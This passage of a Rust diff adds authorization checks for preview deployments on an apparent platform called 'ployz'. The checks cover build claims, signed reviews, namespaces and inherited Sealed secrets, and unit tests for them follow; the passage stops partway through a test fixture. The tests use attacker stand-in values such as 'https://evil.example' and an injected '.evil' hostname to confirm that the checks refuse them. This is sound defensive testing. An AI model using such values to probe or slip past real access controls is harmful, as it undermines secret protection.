+    ) -> Result<(), AuthorityRefusal> {
+        let policy = self
+            .service(facts.service)
+            .map(|service| PolicyDigest::of(&service.policy));
+        let authority = match (claim.authority, review, facts.head) {
+            (CommitAuthority::Head, None, Some(head)) => claim.commit == head,
+            (CommitAuthority::Review(digest), Some(review), _) => {
+                digest == review.digest
+                    && claim.commit == review.body.commit
+                    && &review.body.key == facts.key
+            }
+            _ => false,
+        };
+        let checks = [
+            (
+                "a Cluster",
+                self.cluster == facts.cluster && claim.cluster == facts.cluster,
+            ),
+            ("a Machine", self.machines.contains(facts.machine)),
+            ("an ended rule", !self.ended),
+            (
+                "a Namespace",
+                facts.namespace == &preview_namespace(self.rule, facts.key),
+            ),
+            (
+                "a Service",
+                policy.is_some() && &claim.service == facts.service,
+            ),
+            ("a rule", claim.rule == self.rule),
+            ("a generation", claim.generation == self.generation),
+            (
+                "a policy",
+                policy.is_some_and(|policy| policy.ok() == Some(claim.policy)),
+            ),
+            ("a commit", authority),
+        ];
+        match checks.into_iter().find(|(_, holds)| !holds) {
+            Some((field, _)) => Err(AuthorityRefusal::Mismatch { field }),
+            None => Ok(()),
+        }
+    }
+
+    /// Check a new Container of a preview: everything [`Self::verify_step`] checks, the
+    /// image the token names built with secrets sealed from this Machine's attest key, its
+    /// Sealed values, and its spec's [`template`] against what the person signed: the
+    /// rule's, or for a reviewed build the review's. Returns the image.
+    ///
+    /// # Errors
+    /// Returns [`AuthorityRefusal::Mismatch`] naming the first fact that does not hold.
+    pub fn verify_creation(
+        &self,
+        claim: &BuildClaim,
+        facts: &PreviewFacts<'_>,
+        creation: Creation<'_>,
+        review: Option<&CheckedReview>,
+    ) -> Result<ImageDigest, AuthorityRefusal> {
+        let mismatch = |field| AuthorityRefusal::Mismatch { field };
+        if creation.service != facts.service || &creation.spec.name != facts.service {
+            return Err(mismatch("a Service"));
+        }
+        self.verify_step(claim, facts, review)?;
+        let service = self
+            .service(facts.service)
+            .ok_or_else(|| mismatch("a Service"))?;
+        let BuildStage::Built { image, attest } = claim.stage else {
+            return Err(mismatch("a stage"));
+        };
+        if attest != facts.attest {
+            return Err(mismatch("the attest key"));
+        }
+        let running = &creation.spec.container.image;
+        let digest = running
+            .rsplit_once('@')
+            .map_or(running.as_str(), |(_, digest)| digest);
+        if !content_addressed(running) || ImageDigest::parse(digest) != Ok(image) {
+            return Err(mismatch("an image"));
+        }
+        if creation.kind == ContainerKind::PreDeployHook && creation.spec.pre_deploy.is_none() {
+            return Err(mismatch("a hook"));
+        }
+        let spec = creation.spec.to_requested();
+        self.verify_sealed(&spec, service, review)?;
+        let digest = template(&spec, facts.namespace, service)?;
+        match review {
+            Some(review) => {
+                if review.digest_for(facts.service) != Some(digest) {
+                    return Err(mismatch("a payload"));
+                }
+            }
+            None if digest == service.template => {}
+            None if Some(digest) == service.setup => {
+                if !facts.first {
+                    return Err(mismatch("a Setup Command"));
+                }
+            }
+            None => return Err(mismatch("a payload")),
+        }
+        Ok(image)
+    }
+
+    /// Refuse a preview's Sealed value unless it is a parent value this Service inherits,
+    /// or, under a review, one sealed for the reviewed Environment. A trusted preview has
+    /// no values of its own, so its identity opens nothing.
+    fn verify_sealed(
+        &self,
+        spec: &RequestedServiceSpec,
+        service: &PreviewService,
+        review: Option<&CheckedReview>,
+    ) -> Result<(), AuthorityRefusal> {
+        let own = review.is_some_and(|review| {
+            spec.container
+                .sealed_identity
+                .as_ref()
+                .is_some_and(|identity| identity.environment == review.body.environment)
+        });
+        let hook = spec
+            .pre_deploy
+            .iter()
+            .flat_map(|hook| hook.environment.values());
+        let allowed = spec
+            .container
+            .environment
+            .values()
+            .chain(hook)
+            .flat_map(EnvValue::sealed_parts)
+            .all(|value| match value.environment {
+                Some(environment) => {
+                    environment == self.parent_id && service.inherit.contains(&value.key)
+                }
+                None => own,
+            });
+        if allowed {
+            Ok(())
+        } else {
+            Err(AuthorityRefusal::Mismatch {
+                field: SEALED_VALUE,
+            })
+        }
+    }
+}
+
+/// The field a refused Sealed value names.
+pub const SEALED_VALUE: &str = "a Sealed value";
+
+/// The digest a preview rule or review approves for `spec`, a preview's spec in its
+/// derived `namespace`: its [`PayloadDigest`] with the image, pull policy and Sealed
+/// identity left out, each Generated Value `service` names checked and replaced by its
+/// generator, and every occurrence of `namespace` replaced by [`NAMESPACE_PLACEHOLDER`].
+///
+/// # Errors
+/// Returns [`AuthorityRefusal::Mismatch`] naming a Generated Value whose value its
+/// generator could not have made, and a payload with no canonical form.
+pub fn template(
+    spec: &RequestedServiceSpec,
+    namespace: &Namespace,
+    service: &PreviewService,
+) -> Result<PayloadDigest, AuthorityRefusal> {
+    let mut spec = spec.clone();
+    spec.container.image = String::new();
+    spec.container.pull_policy = crate::PullPolicy::Never;
+    spec.container.sealed_identity = None;
+    for (key, generator) in &service.generated {
+        let generated =
+            |environment: &mut BTreeMap<String, EnvValue>, required: bool| match environment
+                .get_mut(key)
+            {
+                Some(value @ EnvValue::Text(_))
+                    if value.text().is_some_and(|text| generator.could_make(text)) =>
+                {
+                    *value = EnvValue::Text(generator.to_string());
+                    Ok(())
+                }
+                None if !required => Ok(()),
+                _ => Err(AuthorityRefusal::Mismatch {
+                    field: "a Generated Value",
+                }),
+            };
+        generated(&mut spec.container.environment, true)?;
+        if let Some(hook) = &mut spec.pre_deploy {
+            generated(&mut hook.environment, false)?;
+        }
+    }
+    let payload = || AuthorityRefusal::Mismatch { field: "a payload" };
+    spec.mount_graph = spec
+        .mount_graph
+        .scope_to_namespace(namespace)
+        .map_err(|_| payload())?;
+    PayloadDigest::of_scoped(&spec, |value| placeholder(value, namespace.as_str()))
+        .map_err(|_| payload())
+}
+
+fn placeholder(value: &mut Value, namespace: &str) {
+    match value {
+        Value::String(text) => {
+            if text.contains(namespace) {
+                *text = text.replace(namespace, NAMESPACE_PLACEHOLDER);
+            }
+        }
+        Value::Array(items) => items
+            .iter_mut()
+            .for_each(|item| placeholder(item, namespace)),
+        Value::Object(fields) => {
+            let renamed: Vec<String> = fields
+                .keys()
+                .filter(|key| key.contains(namespace))
+                .cloned()
+                .collect();
+            for key in renamed {
+                if let Some(field) = fields.remove(&key) {
+                    fields.insert(key.replace(namespace, NAMESPACE_PLACEHOLDER), field);
+                }
+            }
+            fields
+                .values_mut()
+                .for_each(|field| placeholder(field, namespace));
+        }
+        Value::Null | Value::Bool(_) | Value::Number(_) => {}
+    }
+}
+
+/// One Service of a review, and the [`template`] digest of its spec as the reviewer saw
+/// it, which may differ from the rule's when the preview's settings were edited.
+#[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize, TS)]
+#[serde(deny_unknown_fields)]
+pub struct ReviewedService {
+    pub name: ServiceName,
+    pub digest: PayloadDigest,
+}
+
+/// A person's review of one commit for one preview, which lets a reviewed build of
+/// exactly that commit get its build secrets and deploy.
+#[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize, TS)]
+#[serde(deny_unknown_fields)]
+pub struct PreviewReview {
+    pub cluster: SealingPublicKey,
+    pub rule: RuleId,
+    pub generation: u64,
+    pub key: PreviewKey,
+    pub commit: CommitSha,
+    /// The preview's Cloud Environment ID, which its own Sealed values are sealed for.
+    #[ts(type = "string")]
+    pub environment: Uuid,
+    /// Sorted by name and distinct.
+    #[serde(deserialize_with = "reviewed_by_name")]
+    pub services: Vec<ReviewedService>,
+    pub issued_at: Timestamp,
+    pub expires_at: Timestamp,
+}
+
+impl Statement for PreviewReview {
+    const PURPOSE: Purpose = Purpose::Workflow;
+}
+
+/// A review as it travels: signed by a Device or by a browser key under a session grant,
+/// or answered by a passkey's own prompt over its challenge.
+#[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize, TS)]
+#[serde(rename_all = "snake_case", deny_unknown_fields)]
+pub enum Review {
+    #[ts(type = "unknown")]
+    Signed(Signed<PreviewReview>),
+    Passkey {
+        body: String,
+        assertion: PasskeyAssertion,
+    },
+}
+
+impl Review {
+    fn body(&self) -> &str {
+        match self {
+            Self::Signed(signed) => &signed.body,
+            Self::Passkey { body, .. } => body,
+        }
+    }
+
+    /// SHA-256 of the review's signing input: what a build's audience names, and the
+    /// challenge a passkey answers.
+    #[must_use]
+    pub fn digest(&self) -> ReviewDigest {
+        review_digest(self.body())
+    }
+}
+
+/// The digest of a review whose canonical body is `body`.
+#[must_use]
+pub fn review_digest(body: &str) -> ReviewDigest {
+    ReviewDigest::from_bytes(Sha256::digest(signing_input(Purpose::Workflow, body)).into())
+}
+
+/// Who a Machine found signed a review.
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub enum ReviewSigner {
+    Device(SigningPublicKey),
+    /// A passkey's own prompt.
+    Passkey(DeviceCode),
+    /// A browser key under a passkey's session grant.
+    Session(SigningPublicKey),
+}
+
+impl fmt::Display for ReviewSigner {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        match self {
+            Self::Device(key) => write!(formatter, "device {}", key.code()),
+            Self::Passkey(code) => write!(formatter, "passkey {code}"),
+            Self::Session(key) => write!(formatter, "browser key {} under a session", key.code()),
+        }
+    }
+}
+
+/// A review a Machine checked against a preview rule.
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct CheckedReview {
+    pub body: PreviewReview,
+    pub digest: ReviewDigest,
+    pub signer: ReviewSigner,
+}
+
+impl CheckedReview {
+    #[must_use]
+    pub fn digest_for(&self, service: &ServiceName) -> Option<PayloadDigest> {
+        self.body
+            .services
+            .iter()
+            .find(|reviewed| reviewed.name == *service)
+            .map(|reviewed| reviewed.digest)
+    }
+}
+
+/// Check `review` is a live review of `rule`'s current generation, signed by a trusted
+/// Device, a trusted passkey's own prompt, or a browser key whose session grant covers
+/// deploys in the preview's derived Namespace and was lent for the reviewed Environment.
+/// A session may not review a Service that inherits parent values or has build secrets
+/// (operator decision 6).
+///
+/// # Errors
+/// Returns the envelope's refusal, a malformed body, [`AuthorityRefusal::Expired`] outside
+/// its window, and [`AuthorityRefusal::Mismatch`] naming the first fact that does not hold.
+pub fn verify_review(
+    review: &Review,
+    rule: &PreviewRule,
+    trusted: &TrustedKeys,
+    now: Timestamp,
+) -> Result<CheckedReview, AuthorityRefusal> {
+    let mismatch = |field| AuthorityRefusal::Mismatch { field };
+    let body: PreviewReview =
+        canonical::from_canonical(review.body()).map_err(|error| AuthorityRefusal::Malformed {
+            purpose: Purpose::Workflow,
+            problem: error.to_string(),
+        })?;
+    let digest = review.digest();
+    let namespace = preview_namespace(rule.rule, &body.key);
+    let signer = match review {
+        Review::Passkey { assertion, .. } => {
+            let passkey =
+                trusted.passkey_approval(Purpose::Workflow, assertion, digest.as_bytes())?;
+            ReviewSigner::Passkey(passkey.passkey.code())
+        }
+        Review::Signed(signed) => {
+            let approvers = signed.approvers(trusted, now)?;
+            let mut signer = None;
+            for approver in approvers {
+                match approver {
+                    Approver::Device(key) => {
+                        signer = Some(ReviewSigner::Device(key));
+                        break;
+                    }
+                    Approver::Browser { key, grant } => {
+                        grant.body.covers(&GrantScope {
+                            cluster: rule.cluster,
+                            environment: &namespace,
+                            machines: &rule.machines,
+                            family: ActionFamily::Deploy,
+                            issued_at: body.issued_at,
+                            expires_at: body.expires_at,
+                        })?;
+                        if grant.body.environment_id != body.environment {
+                            return Err(mismatch("an Environment"));
+                        }
+                        signer = Some(ReviewSigner::Session(key));
+                    }
+                }
+            }
+            signer.ok_or(mismatch("the signer"))?
+        }
+    };
+    let checks = [
+        ("a Cluster", body.cluster == rule.cluster),
+        ("a rule", body.rule == rule.rule),
+        ("a generation", body.generation == rule.generation),
+        ("an ended rule", !rule.ended),
+        (
+            "a Service",
+            body.services
+                .iter()
+                .all(|reviewed| rule.service(&reviewed.name).is_some()),
+        ),
+    ];
+    if let Some((field, _)) = checks.into_iter().find(|(_, holds)| !holds) {
+        return Err(mismatch(field));
+    }
+    super::validity::verify(body.issued_at, body.expires_at, now)?;
+    if matches!(signer, ReviewSigner::Session(_))
+        && body
+            .services
+            .iter()
+            .filter_map(|reviewed| rule.service(&reviewed.name))
+            .any(PreviewService::holds_secrets)
+    {
+        return Err(mismatch("the signer"));
+    }
+    Ok(CheckedReview {
+        body,
+        digest,
+        signer,
+    })
+}
+
+fn sorted_distinct<'de, D, T>(deserializer: D) -> Result<Vec<T>, D::Error>
+where
+    D: Deserializer<'de>,
+    T: Deserialize<'de> + Ord,
+{
+    let items = Vec::<T>::deserialize(deserializer)?;
+    if !items.is_sorted_by(|left, right| left < right) {
+        return Err(serde::de::Error::custom(
+            "a list must be sorted and distinct",
+        ));
+    }
+    Ok(items)
+}
+
+fn services_by_name<'de, D: Deserializer<'de>>(
+    deserializer: D,
+) -> Result<Vec<PreviewService>, D::Error> {
+    let services = Vec::<PreviewService>::deserialize(deserializer)?;
+    if !services.is_sorted_by(|left, right| left.name < right.name) {
+        return Err(serde::de::Error::custom(
+            "Services must be sorted by name and distinct",
+        ));
+    }
+    Ok(services)
+}
+
+fn reviewed_by_name<'de, D: Deserializer<'de>>(
+    deserializer: D,
+) -> Result<Vec<ReviewedService>, D::Error> {
+    let services = Vec::<ReviewedService>::deserialize(deserializer)?;
+    if !services.is_sorted_by(|left, right| left.name < right.name) {
+        return Err(serde::de::Error::custom(
+            "Services must be sorted by name and distinct",
+        ));
+    }
+    Ok(services)
+}
+
+#[cfg(test)]
+#[path = "preview_tests.rs"]
+mod tests;
diff --git a/core/crates/ployz-core/src/authority/preview_tests.rs b/core/crates/ployz-core/src/authority/preview_tests.rs
new file mode 100644
index 0000000000..5a11e0e543
--- /dev/null
+++ b/core/crates/ployz-core/src/authority/preview_tests.rs
@@ -0,0 +1,667 @@
+#![expect(clippy::indexing_slicing, reason = "JSON fixtures")]
+
+use serde_json::{Value, json};
+
+use super::*;
+use crate::authority::{
+    keys::Signer,
+    rule::{Builder, PolicyCache, PolicyMethod, RuleEvent, Runner},
+    session::{Delegation, GrantBody, SessionGrant},
+    trusted_key::tests::{Answer, Authenticator, HONEST, trusting},
+};
+use crate::{DeviceKey, ResolvedServiceSpec};
+
+const BUILDER_SHA: &str = "0123456789abcdef0123456789abcdef01234567";
+const BUILT: &str =
+    "ployz-build/web@sha256:4444444444444444444444444444444444444444444444444444444444444444";
+const SEALED: &str = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ==";
+const HEAD: &str = "fedcba9876543210fedcba9876543210fedcba98";
+const PARENT_ID: &str = "11111111-1111-1111-1111-111111111111";
+const PREVIEW_ID: &str = "33333333-3333-3333-3333-333333333333";
+const GENERATED: &str = "${{ secret(16, \"a-z\") }}";
+
+fn signer() -> Signer {
+    Signer::from_seed(&[7; 32])
+}
+
+fn web() -> ServiceName {
+    ServiceName::parse("web").unwrap()
+}
+
+fn machine() -> MachineId {
+    MachineId::parse("1".repeat(32)).unwrap()
+}
+
+fn search() -> PreviewKey {
+    PreviewKey::Branch("search".to_owned())
+}
+
+fn policy() -> BuildPolicy {
+    BuildPolicy {
+        method: PolicyMethod::Dockerfile {
+            path: "Dockerfile".to_owned(),
+        },
+        context: ".".to_owned(),
+        target: None,
+        args: BTreeMap::new(),
+        secrets: BTreeSet::new(),
+        platforms: BTreeSet::from(["linux/amd64".to_owned()]),
+        cache: PolicyCache::Off,
+    }
+}
+
+fn unsigned_rule() -> PreviewRule {
+    PreviewRule {
+        cluster: SealingPublicKey::from_bytes([9; 32]),
+        rule: RuleId::from_bytes([0x11; 16]),
+        generation: 2,
+        machines: vec![machine()],
+        parent: Namespace::parse("shop-production").unwrap(),
+        parent_id: Uuid::parse_str(PARENT_ID).unwrap(),
+        domain: "preview.example.com".to_owned(),
+        source: RuleSource {
+            repository_id: 1_450_985_696,
+            owner_id: 278_111_222,
+            repository: "Ployz-test/lab-service".to_owned(),
+            branch: "main".to_owned(),
+            workflow: ".github/workflows/ployz-build.yml".to_owned(),
+            events: vec![RuleEvent::Push, RuleEvent::WorkflowDispatch],
+            builder: Builder {
+                r#ref: format!("Ployz-test/build/.github/workflows/build.yml@{BUILDER_SHA}"),
+                sha: CommitSha::parse(BUILDER_SHA).unwrap(),
+            },
+            runner: Runner::GithubHosted,
+        },
+        trusted: vec![1234],
+        services: vec![PreviewService {
+            name: web(),
+            template: PayloadDigest::parse(&"00".repeat(32)).unwrap(),
+            setup: None,
+            policy: policy(),
+            secrets: None,
+            inherit: BTreeSet::from(["DATABASE_URL".to_owned()]),
+            generated: BTreeMap::from([(
+                "GEN".to_owned(),
+                Generator::parse(GENERATED).unwrap().unwrap(),
+            )]),
+        }],
+        issued_at: Timestamp::from_millis(1_000).unwrap(),
+        ended: false,
+        signer: SignerKey::Device(DeviceKey::from_bytes(*signer().public().as_bytes())),
+    }
+}
+
+/// `web` as a preview in `namespace` runs it: a derived hostname, a Live Node reference
+/// into the parent's Namespace, an inherited parent value, a Generated Value, an Own Copy
+/// Volume under its logical name and a hook running a Setup Command when `setup`.
+fn preview_json(namespace: &str, generated: &str, setup: bool) -> Value {
+    let command = if setup {
+        json!([
+            "/bin/sh",
+            "-c",
+            "for c do /bin/sh -c \"$c\" || exit; done",
+            "sh",
+            "migrate",
+            "seed"
+        ])
+    } else {
+        json!(["/bin/sh", "-c", "migrate"])
+    };
+    json!({
+        "name": "web",
+        "mode": {"mode": "replicated", "replicas": 1},
+        "container": {
+            "image": BUILT,
+            "pull_policy": "never",
+            "environment": {
+                "DB": "db.shop-production.internal",
+                "GEN": generated,
+                "DATABASE_URL": {"sealed": SEALED, "scope": "shared", "key": "DATABASE_URL",
+                                 "environment": PARENT_ID}
+            },
+            "sealed_identity": {
+                "organization": "org",
+                "environment": PREVIEW_ID,
+                "service": "22222222-2222-2222-2222-222222222222"
+            }
+        },
+        "ports": [{"mode": "ingress", "hostname": format!("web.{namespace}.preview.example.com"),
+                   "load_balancer_port": 443, "container_port": 80, "http_protocol": "http"}],
+        "volumes": [{"reference": "vol-5", "source": {"kind": "ordinary", "name": "vol-5",
+                     "driver": {"name": "local", "options": {}}}}],
+        "mounts": [{"volume": "vol-5", "target": "/data"}],
+        "pre_deploy": {"command": command}
+    })
+}
+
+fn requested(value: Value) -> RequestedServiceSpec {
+    serde_json::from_value(value).unwrap()
+}
+
+fn resolved(spec: &RequestedServiceSpec, namespace: &Namespace) -> ResolvedServiceSpec {
+    let mut spec = spec.clone();
+    spec.mount_graph = spec.mount_graph.scope_to_namespace(namespace).unwrap();
+    spec.to_resolved(
+        crate::ServiceId::parse("c".repeat(32)).unwrap(),
+        crate::ResolvedUpdateConfig::default(),
+    )
+    .unwrap()
+}
+
+/// The rule as the CLI signs it: templates computed from a sample preview.
+fn rule() -> PreviewRule {
+    let mut rule = unsigned_rule();
+    let sample = preview_namespace(rule.rule, &PreviewKey::Branch("sample".to_owned()));
+    let spec = |setup| requested(preview_json(sample.as_str(), "abcdefghijklmnop", setup));
+    let service = rule.services[0].clone();
+    rule.services[0].template = template(&spec(false), &sample, &service).unwrap();
+    rule.services[0].setup = Some(template(&spec(true), &sample, &service).unwrap());
+    rule
+}
+
+fn built(authority: CommitAuthority) -> BuildClaim {
+    BuildClaim {
+        cluster: SealingPublicKey::from_bytes([9; 32]),
+        rule: RuleId::from_bytes([0x11; 16]),
+        generation: 2,
+        service: web(),
+        policy: PolicyDigest::of(&policy()).unwrap(),
+        commit: CommitSha::parse(HEAD).unwrap(),
+        authority,
+        stage: BuildStage::Built {
+            image: ImageDigest::from_bytes([0x44; 32]),
+            attest: AttestKey::from_bytes([0x55; 32]),
+        },
+    }
+}
+
+struct Case {
+    rule: PreviewRule,
+    claim: BuildClaim,
+    key: PreviewKey,
+    namespace: Namespace,
+    spec: Value,
+    first: bool,
+    review: Option<CheckedReview>,
+}
+
+impl Case {
+    fn trusted() -> Self {
+        let namespace = preview_namespace(RuleId::from_bytes([0x11; 16]), &search());
+        Self {
+            rule: rule(),
+            claim: built(CommitAuthority::Head),
+            key: search(),
+            spec: preview_json(namespace.as_str(), "zyxwvutsrqponmlk", false),
+            namespace,
+            first: false,
+            review: None,
+        }
+    }
+
+    fn create(&self) -> Result<ImageDigest, AuthorityRefusal> {
+        let spec = resolved(&requested(self.spec.clone()), &self.namespace);
+        let machine = machine();
+        let facts = PreviewFacts {
+            cluster: SealingPublicKey::from_bytes([9; 32]),
+            attest: AttestKey::from_bytes([0x55; 32]),
+            machine: &machine,
+            namespace: &self.namespace,
+            service: &spec.name,
+            key: &self.key,
+            head: self
+                .review
+                .is_none()
+                .then(|| CommitSha::parse(HEAD).unwrap()),
+            first: self.first,
+        };
+        self.rule.verify_creation(
+            &self.claim,
+            &facts,
+            Creation {
+                service: &spec.name,
+                kind: ContainerKind::ServiceContainer,
+                spec: &spec,
+            },
+            self.review.as_ref(),
+        )
+    }
+}
+
+fn refused(field: &'static str) -> Result<ImageDigest, AuthorityRefusal> {
+    Err(AuthorityRefusal::Mismatch { field })
+}
+
+#[test]
+fn a_preview_namespace_is_derived_from_the_rule_and_key_and_reserved() {
+    let rule = RuleId::from_bytes([0x11; 16]);
+    let namespace = preview_namespace(rule, &search());
+    assert!(namespace.as_str().starts_with("pv-1111111111111111-"));
+    assert_eq!(namespace.as_str().len(), 32);
+    assert!(is_preview_namespace(&namespace));
+    assert_ne!(
+        namespace,
+        preview_namespace(rule, &PreviewKey::Branch("billing".to_owned()))
+    );
+    assert_ne!(namespace, preview_namespace(rule, &PreviewKey::Fork(5)));
+    assert_ne!(
+        namespace,
+        preview_namespace(RuleId::from_bytes([0x12; 16]), &search())
+    );
+    for ordinary in [
+        "shop-production",
+        "shop-pr-5",
+        "pv-1111",
+        "pv-111111111111111g-aaaaaaaaaaaa",
+    ] {
+        assert!(
+            !is_preview_namespace(&Namespace::parse(ordinary).unwrap()),
+            "{ordinary}"
+        );
+    }
+}
+
+#[test]
+fn a_preview_key_reads_back_as_written() {
+    for key in [search(), PreviewKey::Fork(17)] {
+        assert_eq!(PreviewKey::parse(&key.to_string()), Ok(key));
+    }
+    for bad in ["branch:", "fork:", "fork:x", "pr:5", "search"] {
+        assert!(PreviewKey::parse(bad).is_err(), "{bad}");
+    }
+}
+
+#[test]
+fn two_previews_of_one_rule_share_a_template() {
+    let rule = rule();
+    let service = &rule.services[0];
+    let digest = |key: &str, generated: &str| {
+        let namespace = preview_namespace(rule.rule, &PreviewKey::Branch(key.to_owned()));
+        template(
+            &requested(preview_json(namespace.as_str(), generated, false)),
+            &namespace,
+            service,
+        )
+        .unwrap()
+    };
+    assert_eq!(digest("search", "aaaaaaaaaaaaaaaa"), service.template);
+    assert_eq!(digest("billing", "qwertyuiopasdfgh"), service.template);
+}
+
+#[test]
+fn a_trusted_preview_deploys_in_its_derived_namespace() {
+    assert_eq!(
+        Case::trusted().create(),
+        Ok(ImageDigest::from_bytes([0x44; 32]))
+    );
+}
+
+#[test]
+fn a_preview_creation_outside_its_derived_namespace_is_refused() {
+    let other_rule = preview_namespace(RuleId::from_bytes([0x12; 16]), &search());
+    for namespace in [
+        Namespace::parse("shop-production").unwrap(),
+        Namespace::parse("ordinary").unwrap(),
+        other_rule,
+    ] {
+        let case = Case {
+            spec: preview_json(namespace.as_str(), "zyxwvutsrqponmlk", false),
+            namespace,
+            ..Case::trusted()
+        };
+        assert_eq!(case.create(), refused("a Namespace"));
+    }
+}
+
+#[test]
+fn a_hostname_or_namespace_the_machine_did_not_derive_fails_the_template() {
+    let mut case = Case::trusted();
+    case.spec["ports"][0]["hostname"] = json!("web.acme.ployz.app");
+    assert_eq!(case.create(), refused("a payload"));
+    let mut case = Case::trusted();
+    case.spec["container"]["environment"]["DB"] = json!("db.shop-production.internal.evil");
+    assert_eq!(case.create(), refused("a payload"));
+    let mut case = Case::trusted();
+    case.spec["container"]["environment"]["DB"] = json!("db.shop-pr-5.internal");
+    assert_eq!(case.create(), refused("a payload"));
+}
+
+#[test]
+fn a_generated_value_must_be_one_its_generator_could_make() {
+    for bad in [
+        "short",
+        "UPPERCASEUPPERCA",
+        "https://evil.example",
+        "abcdefghijklmnop ",
+    ] {
+        let mut case = Case::trusted();
+        case.spec["container"]["environment"]["GEN"] = json!(bad);
+        assert_eq!(case.create(), refused("a Generated Value"), "{bad}");
+    }
+    let mut case = Case::trusted();
+    case.spec["container"]["environment"]
+        .as_object_mut()
+        .unwrap()
+        .remove("GEN");
+    assert_eq!(case.create(), refused("a Generated Value"));
+}
+
+#[test]
+fn setup_commands_run_only_on_a_previews_first_creation() {
+    let setup = |first| {
+        let mut case = Case::trusted();
+        case.spec = preview_json(case.namespace.as_str(), "zyxwvutsrqponmlk", true);
+        case.first = first;
+        case.create()
+    };
+    assert_eq!(setup(true), Ok(ImageDigest::from_bytes([0x44; 32])));
+    assert_eq!(setup(false), refused("a Setup Command"));
+}
+
+#[test]
+fn an_inherited_value_opens_only_for_a_key_the_rule_names_from_its_parent() {
+    let mut case = Case::trusted();
+    case.rule.services[0].inherit.clear();
+    assert_eq!(case.create(), refused(SEALED_VALUE));
+
+    let mut case = Case::trusted();
+    case.spec["container"]["environment"]["DATABASE_URL"]["environment"] =
+        json!("44444444-4444-4444-4444-444444444444");
+    assert_eq!(case.create(), refused(SEALED_VALUE));
+
+    let mut case = Case::trusted();
+    case.spec["container"]["environment"]["STRIPE_KEY"] =
+        json!({"sealed": SEALED, "scope": "shared", "key": "STRIPE_KEY", "environment": PARENT_ID});
+    assert_eq!(case.create(), refused(SEALED_VALUE));
+}
+
+#[test]
+fn a_trusted_preview_carries_no_sealed_value_of_its_own() {
+    let mut case = Case::trusted();
+    case.spec["container"]["environment"]["OWN"] =
+        json!({"sealed": SEALED, "scope": "shared", "key": "OWN"});
+    assert_eq!(case.create(), refused(SEALED_VALUE));
+}
+
+#[test]
+fn an_inherited_value_or_a_preview_namespace_is_refused_outside_a_preview_rule() {
+    let namespace = Namespace::parse("shop-production").unwrap();
+    let inherited = resolved(
+        &requested(preview_json("shop-production", "zyxwvutsrqponmlk", false)),
+        &namespace,
+    );
+    assert_eq!(
+        super::super::deploy::refuse_preview_parts(&namespace, &inherited),
+        Err(AuthorityRefusal::Mismatch {
+            field: SEALED_VALUE
+        })
+    );
+    let mut plain = preview_json("shop-production", "zyxwvutsrqponmlk", false);
+    plain["container"]["environment"]
+        .as_object_mut()
+        .unwrap()
+        .remove("DATABASE_URL");
+    let reserved = preview_namespace(RuleId::from_bytes([0x11; 16]), &search());
+    assert_eq!(
+        super::super::deploy::refuse_preview_parts(
+            &reserved,
+            &resolved(&requested(plain.clone()), &reserved)
+        ),
+        Err(AuthorityRefusal::Mismatch {
+            field: "a preview Namespace"
+        })
+    );
+    assert_eq!(
+        super::super::deploy::refuse_preview_parts(
+            &namespace,
+            &resolved(&requested(plain), &namespace)
+        ),
+        Ok(())
+    );
+}
+
+fn claims(edit: impl FnOnce(&mut Value)) -> GithubClaims {
+    let mut value = json!({
+        "iss": "https://token.actions.githubusercontent.com",
+        "aud": "ployz-build:00",
+        "jti": "4b6c2f9e-0000-0000-0000-000000000000",
+        "iat": 1_800_000_000_u64,
+        "exp": 1_800_000_300_u64,
+        "nbf": 1_799_999_700_u64,
+        "repository_id": "1450985696",
+        "repository_owner_id": "278111222",
+        "repository": "Ployz-test/lab-service",
+        "ref": "refs/heads/search",
+        "ref_type": "branch",
+        "sha": HEAD,
+        "event_name": "push",
+        "workflow_ref": "Ployz-test/lab-service/.github/workflows/ployz-build.yml@refs/heads/search",
+        "job_workflow_ref": format!("Ployz-test/build/.github/workflows/build.yml@{BUILDER_SHA}"),
+        "job_workflow_sha": BUILDER_SHA,
+        "runner_environment": "github-hosted",
+        "run_id": "42597355451",
+        "run_attempt": "1",
+        "actor_id": "1234"
+    });
+    edit(&mut value);
+    serde_json::from_value(value).unwrap()
+}
+
+#[test]
+fn a_trusted_push_to_another_branch_is_a_preview_of_that_branch() {
+    let rule = rule();
+    let claims = claims(|_| {});
+    assert_eq!(rule.verify_claims(&claims), Ok(()));
+    assert_eq!(
+        rule.preview_key(
+            &claims,
+            CommitSha::parse(HEAD).unwrap(),
+            CommitAuthority::Head,
+            None
+        ),
+        Ok(search())
+    );
+}
+
+#[test]
+fn an_untrusted_account_or_the_parents_branch_is_no_trusted_preview() {
+    let rule = rule();
+    let commit = CommitSha::parse(HEAD).unwrap();
+    let untrusted = claims(|value| value["actor_id"] = json!("9999"));
+    assert_eq!(
+        rule.preview_key(&untrusted, commit, CommitAuthority::Head, None),
+        Err(AuthorityRefusal::Mismatch {
+            field: "an account"
+        })
+    );
+    let parent = claims(|value| {
+        value["ref"] = json!("refs/heads/main");
+        value["workflow_ref"] =
+            json!("Ployz-test/lab-service/.github/workflows/ployz-build.yml@refs/heads/main");
+    });
+    assert_eq!(rule.verify_claims(&parent), Ok(()));
+    assert_eq!(
+        rule.preview_key(&parent, commit, CommitAuthority::Head, None),
+        Err(AuthorityRefusal::Mismatch { field: "a branch" })
+    );
+    let other_commit = CommitSha::parse(&"1".repeat(40)).unwrap();
+    assert_eq!(
+        rule.preview_key(&claims(|_| {}), other_commit, CommitAuthority::Head, None),
+        Err(AuthorityRefusal::Mismatch { field: "a commit" })
+    );
+}
+
+fn review_body(rule: &PreviewRule) -> PreviewReview {
+    let namespace = preview_namespace(rule.rule, &PreviewKey::Fork(7));
+    let spec = requested(preview_json(namespace.as_str(), "zyxwvutsrqponmlk", false));
+    PreviewReview {
+        cluster: rule.cluster,
+        rule: rule.rule,
+        generation: rule.generation,
+        key: PreviewKey::Fork(7),
+        commit: CommitSha::parse(HEAD).unwrap(),
+        environment: Uuid::parse_str(PREVIEW_ID).unwrap(),
+        services: vec![ReviewedService {
+            name: web(),
+            digest: template(&spec, &namespace, &rule.services[0]).unwrap(),
+        }],
